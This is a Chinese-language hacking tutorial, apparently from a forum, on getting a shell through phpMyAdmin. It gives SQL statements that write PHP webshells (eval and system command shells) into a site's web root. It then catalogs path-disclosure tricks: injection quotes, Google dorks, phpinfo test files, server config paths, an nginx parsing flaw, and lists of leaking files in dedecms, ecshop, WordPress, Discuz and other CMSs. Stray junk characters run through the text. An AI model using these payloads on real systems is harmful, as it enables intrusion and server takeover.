phpmyadmin后台拿shell

admin

方法一：
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
, q( X  c+ N/ }  }$ i2 ?----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php
. ^4 M7 a/ V5 D9 E1 J, V% y一句话连接密码：xiaoma

方法二：
Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
* v4 d9 g( F+ F Drop TABLE IF EXISTS xiaoma;

7 v) x, s3 I9 _" n% b4 K方法三：
  N( e* ]; |3 `+ I' U4 z* _
读取文件内容：    select load_file('E:/xamp/www/s.php');
. c# X% I/ R4 s7 t7 d. V
写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'

, A' K& n! r  P" tcmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
( ~0 F$ b6 K) A* p5 n
2 p  B! O1 O1 w" h, h2 ^# V0 {
方法四：
select load_file('E:/xamp/www/xiaoma.php');

+ B) N! n7 I+ b8 {. f& T select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir
$ R! k: F$ n5 W1 \  @. z6 E



$ L# o8 G/ b5 I9 U. |
. O! g' i7 K0 \2 Fphp爆路径方法收集 ：

* F5 |  g: G6 Z  @3 U


1、单引号爆路径
说明：
直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
, @# P5 p" l  P0 S' c- b* ewww.xxx.com/news.php?id=149′

" X- v+ A. N5 L0 U* O2、错误参数值爆路径
说明：
; r0 k* O! C$ G& X4 l) T将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。
. n) d. M# o0 U6 j6 S* Ewww.xxx.com/researcharchive.php?id=-1

3、Google爆路径
说明：
结合关键字和site语法搜索出错页面的网页快照，常见关键字有warning和fatal error。注意，如果目标站点是二级域名，site接的是其对应的顶级域名，这样得到的信息要多得多。
Site:xxx.edu.tw warning
3 k* R; D! f, |( {- k& kSite:xxx.com.tw “fatal error”
5 s6 r4 n; }: v5 \
4、测试文件爆路径
说明：
3 C! x* K3 @& `! b4 ^很多网站的根目录下都存在测试文件，脚本代码通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
- ^1 @# l9 @7 m+ O1 nwww.xxx.com/info.php
* P: W/ P6 U: z/ i0 r7 Ywww.xxx.com/phpinfo.php
0 h* B& L& |. F1 D; q. z7 kwww.xxx.com/php_info.php
0 A- e# i/ B9 Q. Wwww.xxx.com/1.php

5、phpmyadmin爆路径
5 E  K4 Z5 U, m说明：
一旦找到phpmyadmin的管理页面，再访问该目录下的某些特定文件，就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫，也可以选择google。PS：有些BT网站会写成phpMyAdmin。
# G- n. l7 a7 l$ q$ R1 _1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
% p& i8 n, Z9 \2 o- z4. load_file()
7 A  _, y" r& p/ v5./phpmyadmin/themes/darkblue_orange/layout.inc.php
& T# P/ G! G  d' d  {6./phpmyadmin/libraries/select_lang.lib.php
. S3 B( u7 D* B2 N7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php
& X3 A& u* J9 r: P3 d( k% \& `- n
6、配置文件找路径
5 t' _% U/ F8 o说明：
' `4 t) s: }9 z' H) |% [如果注入点有文件读取权限，就可以手工load_file或工具读取配置文件，再从中寻找路径信息（一般在文件末尾）。各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。

Windows:
5 q5 ], o) O) Uc:\windows\php.ini                                    php配置文件
, X5 D1 ]: X" D' o, {) rc:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件
/ U8 _8 [" O/ y& q
6 |1 ]7 M3 |/ [2 g7 j# T) |% tLinux:
/etc/php.ini                                           php配置文件
2 B- N& _6 E+ K& A$ d. F/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf                             Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件

/ N4 D2 A/ F7 e7 K2 X7 e; c6 h. a7、nginx文件类型错误解析爆路径
说明：
这是昨天无意中发现的方法，当然要求Web服务器是nginx，且存在文件类型解析漏洞。有时在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。
& `: d5 Z: }8 @http://www.xxx.com/top.jpg/x.php
- D* i8 _# J2 [2 d& A
& g* M% t( |( {8、其他
dedecms
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
, o) _+ P* U$ J( Qplus/paycenter/cbpayment/autoreceive.php
+ G- f& N4 N* e6 ~* l$ wpaycenter/nps/config_pay_nps.php
, o- @! |: D, T8 g' Hplus/task/dede-maketimehtml.php
$ n* p, M5 s2 Aplus/task/dede-optimize-table.php
plus/task/dede-upcache.php

) |) G: g. @+ Q$ i; UWP
wp-admin/includes/file.php
2 y# q4 \% p! x1 Mwp-content/themes/baiaogu-seo/footer.php

ecshop商城系统暴路径漏洞文件
/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
1 f% @6 q" H" f/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
2 N1 Z/ v  ~: E$ ~! O) L% J/ a/ J/temp/compiled/page_footer.lbi.php
$ F, A6 s# w) t8 g0 ~% M/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
8 h- X1 ]3 U% ?3 ^/temp/compiled/message.dwt.php
" s& X; u, ~2 j; T" G- `6 b/temp/compiled/admin/pagefooter.htm.php
5 H/ T* R. k' ^4 u  T% k/temp/compiled/admin/page.htm.php
1 V" u, u# ^6 I2 k/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
. b  L1 w* h5 g/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
4 ^( m: k/ G8 ?- P' @: o% C+ j/temp/compiled/admin/menu.htm.php
( }2 s. K: x/ _4 _) @( ?* j( e/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
3 Z" C/ O+ Q4 m4 D- `4 ?7 N. ?/temp/compiled/admin/goods_list.htm.php
7 ?# ]8 o7 y% l! Q' {/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
- f# ~" f& ]: {+ i; d/temp/compiled/member_info.lbi.php
6 n7 J- _! I- i0 F0 U/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
* N4 L  \1 U' N% r1 `3 [! Y7 C& F/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
7 g9 w0 R) v- T# l0 C2 ^3 X/temp/compiled/help.lbi.php
9 I, L/ v! e- {! f3 c/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
. g* {5 j/ _7 S9 }: n/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
0 E% A  E% y* D1 R& `/includes/modules/cron/auto_manage.php
3 X% ~/ x) x6 V  y- F% F/includes/modules/cron/ipdel.php

ucenter爆路径
ucenter\control\admin\db.php

DZbbs
( }: C: z. A3 S3 J! |: p* _/ fmanyou/admincp.php?my_suffix=%0A%0DTOBY57
$ a5 `; d: @( {4 z' _
3 N. Z" H$ K& k3 P4 jz-blog
admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
% c$ [8 G8 c& ^' o: }9 c& I% m
, h, E. A$ M' _; R, dphp168爆路径
admin/inc/hack/count.php?job=list
# U; X  s# h% ?5 P! _admin/inc/hack/search.php?job=getcode
admin/inc/ajax/bencandy.php?job=do
0 E+ j6 J; d! B8 i$ p! r# Acache/MysqlTime.txt

. W+ f# E. g' A  e: l. UPHPcms2008-sp4
- E; P* `; `$ C/ A注册用户登陆后访问
phpcms/corpandresize/process.php?pic=../images/logo.gif
& J% R; Y( x; K' V' ^
bo-blog
PoC:
/go.php/<[evil code]
# c  D- D" T1 e8 t) q3 LCMSeasy爆网站路径漏洞
漏洞出现在menu_top.php这个文件中
2 z* G2 s4 i. G. B9 Q! M2 `lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
lib/default/special_act.php

1 I* @! m2 N/ r0 |. e  w: C